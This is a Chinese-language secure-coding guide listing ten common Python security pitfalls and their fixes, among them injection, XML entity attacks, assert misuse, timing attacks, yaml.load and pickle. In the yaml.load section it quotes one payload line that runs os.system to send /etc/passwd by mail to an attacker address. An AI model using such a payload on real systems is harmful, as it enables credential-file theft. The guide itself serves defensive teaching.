前言
編寫安全代碼是一件很難的事情。Python也不例外,即使在標(biāo)準(zhǔn)庫中,也有記錄在案的編寫應(yīng)用程序的安全漏洞。下面是Python應(yīng)用程序中最常見的10個安全陷阱以及相關(guān)解決辦法。
Input injection
Injection攻擊非常普遍,有很多種類型的注入。它們影響所有的語言、框架和環(huán)境。
SQL injection是指直接編寫SQL查詢,而不是使用ORM并將字符串和變量混合。我讀過很多代碼,其中“轉(zhuǎn)義引號”被認(rèn)為是一種修復(fù)方法。然而它不是。
命令injection是指任何時候你使用popen,子進(jìn)程,os來調(diào)用一個進(jìn)程。系統(tǒng)從變量中獲取參數(shù)。當(dāng)調(diào)用本地命令時,可能會有人將這些值設(shè)置為惡意的值。
如何修復(fù):
如果您正在使用web框架,那么可以使用web框架附帶的實用工具來清理輸入。除非您有很好的理由,否則不要手工構(gòu)造SQL查詢。
對于shell,使用shlex模塊正確地轉(zhuǎn)義輸入。
解析XML
如果您的應(yīng)用程序曾經(jīng)加載并解析過XML文件,那么您很可能正在使用XML標(biāo)準(zhǔn)庫模塊之一。通過XML有一些常見的攻擊。大部分是Dos風(fēng)格的(用來崩潰系統(tǒng)而不是過濾數(shù)據(jù))。這些攻擊很常見,尤其是在解析外部(即不受信任的)XML文件時。
其中一個被稱為“十億個laugh”,因為有效載荷通常包含大量(數(shù)十億)“lols”。基本上,這個想法是您可以在XML中執(zhí)行引用實體,因此當(dāng)您的低調(diào)的XML解析器試圖將這個XML文件加載到內(nèi)存中時,它將消耗千兆字節(jié)的RAM。如果你不相信,那就試試吧:-)
另一種攻擊使用外部實體擴(kuò)展。XML支持從外部url引用實體,XML解析器通常會毫無顧慮地獲取和加載該資源。“攻擊者可以繞過防火墻,訪問受限制的資源,因為所有的請求都是由內(nèi)部可靠的IP地址發(fā)出的,而不是來自外部。”
另一種需要考慮的情況是依賴于解碼XML的第三方包,比如配置文件和遠(yuǎn)程api。您甚至可能沒有意識到,您的某個依賴項可能會受到這些類型的攻擊。
解決辦法:
使用defusedxml作為標(biāo)準(zhǔn)庫模塊的替代。它增加了針對這類攻擊的安全防護(hù)。
Assert statements
不要使用斷言語句來防止用戶不應(yīng)該訪問的代碼段。
舉個簡單的例子:
def foo(request, user): assert user.is_admin, “user does not have access” # secure code...
在默認(rèn)情況下,Python執(zhí)行時使用的是_debug__作為true,但是在生產(chǎn)環(huán)境中,通常使用優(yōu)化來運行。這將跳過assert語句,直接進(jìn)入安全代碼,而不管用戶是否為is_admin。
解決辦法:
僅使用assert語句與其他開發(fā)人員通信,如在單元測試中或在防止不正確的API使用中。
計時攻擊
計時攻擊本質(zhì)上是一種通過計時比較所提供的值所花費的時間來暴露行為和算法的方法。定時攻擊需要精確性,所以它們通常不能在高延遲的遠(yuǎn)程網(wǎng)絡(luò)上工作。由于大多數(shù)web應(yīng)用程序的延遲都是可變的,所以幾乎不可能編寫HTTP web服務(wù)器上的定時攻擊。
但是,如果您有一個命令行應(yīng)用程序提示輸入密碼,那么攻擊者可以編寫一個簡單的腳本來計算將它們的值與實際的密碼進(jìn)行比較所需的時間。有一些令人印象深刻的例子,例如基于ssh的定時攻擊是用Python編寫的。
解決辦法:
使用在Python 3.5中引入的secret .compare_digest來比較密碼和其他私有值。
被污染的站點—包或?qū)肼窂?/h1>
Python的導(dǎo)入系統(tǒng)非常靈活。當(dāng)您試圖為您的測試編寫monkey-patch或重載核心功能時,這是非常棒的。
但是,這是Python中最大的安全漏洞之一。
在您的站點包中安裝第三方包,無論是在虛擬環(huán)境中還是在全局站點包中(通常不建議這樣做),都會暴露這些包中的安全漏洞。
曾經(jīng)出現(xiàn)過這樣的情況:發(fā)布到PyPi的包的名稱與流行的包類似,但執(zhí)行的是任意代碼。幸運的是,并沒有造成傷害。
另一種需要考慮的情況是依賴項的依賴項(等等)。它們可以包含漏洞,還可以通過導(dǎo)入系統(tǒng)覆蓋Python中的默認(rèn)行為。
解決辦法:
審查你的包。看看PyUp。io和他們的安全服務(wù)。為所有應(yīng)用程序使用虛擬環(huán)境,并確保全局站點包盡可能干凈。檢查包簽名。
臨時文件
要在Python中創(chuàng)建臨時文件,通常需要使用mktemp()函數(shù)生成一個文件名,然后使用該名稱創(chuàng)建一個文件。這是不安全的,因為在調(diào)用mktemp()和第一個進(jìn)程隨后嘗試創(chuàng)建該文件之間的時間內(nèi),另一個進(jìn)程可能會創(chuàng)建一個具有該名稱的文件。這意味著它可能欺騙您的應(yīng)用程序加載錯誤的數(shù)據(jù)或暴露其他臨時數(shù)據(jù)。
如果調(diào)用了不正確的方法,Python的最新版本將發(fā)出運行時警告。
解決辦法:
如果需要生成臨時文件,請使用tempfile模塊并使用mkstemp。
使用yaml.load
這個例子可以在流行的Python項目Ansible中找到:
https://talosintelligence.com/reports/TALOS-2017-0305
您可以提供Ansible Vault,該值作為(有效的)YAML。它使用文件中提供的參數(shù)調(diào)用os.system()。
!!python/object/Apply:os.system ["cat /etc/passwd | mail me@hack.c"]
因此,從用戶提供的值有效地加載YAML文件會讓您很容易受到攻擊。
解決辦法:
使用yaml.safe_load。
Pickles
反序列化pickle數(shù)據(jù)和YAML一樣糟糕。Python類可以聲明一個名為__reduce__的神奇方法,該方法返回一個字符串,或者一個元組,該元組具有可調(diào)用的參數(shù),在pickle時調(diào)用這些參數(shù)。攻擊者可以使用它來包含對其中一個子進(jìn)程模塊的引用,以便在主機(jī)上運行任意命令。
解決辦法:
永遠(yuǎn)不要從不可信或未經(jīng)身份驗證的源解除數(shù)據(jù)pickle。而是使用另一種序列化模式,比如JSON。
使用系統(tǒng)Python運行時而不打補(bǔ)丁
大多數(shù)POSIX系統(tǒng)都附帶了Python 2的一個版本。通常是舊的。因為“Python”,即CPython是用C寫的,所以有時候Python解釋器本身就有漏洞。C語言中常見的安全問題與內(nèi)存分配有關(guān),因此緩沖區(qū)溢出錯誤。
多年來,CPython有許多溢出或溢出漏洞,每一個都在后續(xù)的版本中得到了修補(bǔ)和修復(fù)。所以你是安全的。也就是說,如果你修補(bǔ)你的運行時。
解決辦法:
為您的產(chǎn)品應(yīng)用程序安裝最新版本的Python,并對其進(jìn)行修補(bǔ)!
沒有修補(bǔ)您的依賴項
與不修補(bǔ)您的運行時類似,您還需要定期修補(bǔ)您的依賴項。我發(fā)現(xiàn)在包中“固定”來自PyPi的Python包版本的做法很可怕。這個想法是“這些是可行的版本”,所以每個人都不去管它。
當(dāng)存在于應(yīng)用程序使用的包中時,上述代碼中的所有漏洞都同樣重要。這些包的開發(fā)人員會修復(fù)安全問題。所有的時間。
解決辦法:
使用PyUp這樣的服務(wù)。io檢查更新,提出拉/合并請求到您的應(yīng)用程序,并運行您的測試,以保持包的最新。
使用InSpec之類的工具來驗證在生產(chǎn)環(huán)境中安裝的版本,并確保修補(bǔ)了最小版本或版本范圍。